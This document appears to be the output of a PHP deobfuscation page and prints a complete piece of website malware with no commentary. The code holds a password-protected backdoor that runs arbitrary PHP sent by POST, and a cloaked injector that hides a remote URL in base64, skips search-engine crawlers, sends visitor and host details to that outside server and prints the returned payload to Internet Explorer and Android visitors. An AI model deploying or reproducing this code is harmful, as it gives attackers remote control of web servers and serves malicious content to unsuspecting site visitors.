PHP Decode

error_reporting(0);

$_passssword = "52a12674622f5d70124e38fe9fa8fcac";
if (!@$_POST["p1"] AND @$_POST["pass"]==$_passssword) {
    $a = array(
        "uname" => php_uname(),
        "php_version" => phpversion(),
        "safemode" => @ini_get("safe_mode"),
    );
    echo serialize($a);
} elseif(!empty($_POST["p2"]) AND $_POST["pass"]==$_passssword) {
    eval(base64_decode($_POST["p2"]));
} elseif(!empty($_POST["p1"]) AND $_POST["pass"]==$_passssword) {
    eval($_POST["p1"]);
}

unset($_passssword);

$ua = @$_SERVER['HTTP_USER_AGENT'];
$url = base64_decode("aHR0cDovL2Rhenplci5zbHlpcC5jb20vb3JkcG0vP2V4cG9ydD03ZjUzZjhjNmM3MzBhZjZhZWI1MmU2NmViNzRkODUwNyZ1cmw9NDg5OTAmZz02Mw==") . "&host=" . @$_SERVER["SERVER_NAME"] . "&ip=" . @$_SERVER["REMOTE_ADDR"] . "&ua=" . base64_encode($_SERVER["HTTP_USER_AGENT"]) . "&ref=" . base64_encode(@$_SERVER["HTTP_REFERER"]);

if (
    empty($echo_done)
    AND
    !empty($_SERVER["HTTP_REFERER"])
    AND
    !empty($ua)
    AND
    (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125')
    AND
    !preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])
    AND
    ((preg_match("/Trident\/7\.0;/i", $ua) && preg_match("/rv\:11\.0/i", $ua)) OR stristr($ua, "MSIE") OR stristr($ua, "android"))
) {
    if (function_exists("curl_init")) {

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $code = curl_exec($ch);
    } elseif (function_exists("fsockopen")) {
        $m = parse_url($url);

        $fp = fsockopen($m["host"], 80, $errno, $errstr, 5);

        if ($fp) {
            fwrite($fp, "GET " . $m["path"] . "?" . $m["query"] . " HTTP/1.1
Host: " . $m["host"] . "
User-Agent: PHP" . "
Connection: Close

");
            $code = "";
            while (!feof($fp))
                $code .= fgets($fp, 100);
            list($headers, $code) = explode("

", $code);
            fclose($fp);
        }
    }

    if (!empty($code) AND base64_decode($code)) {
        $echo_done = true;
        print base64_decode($code);
    }
}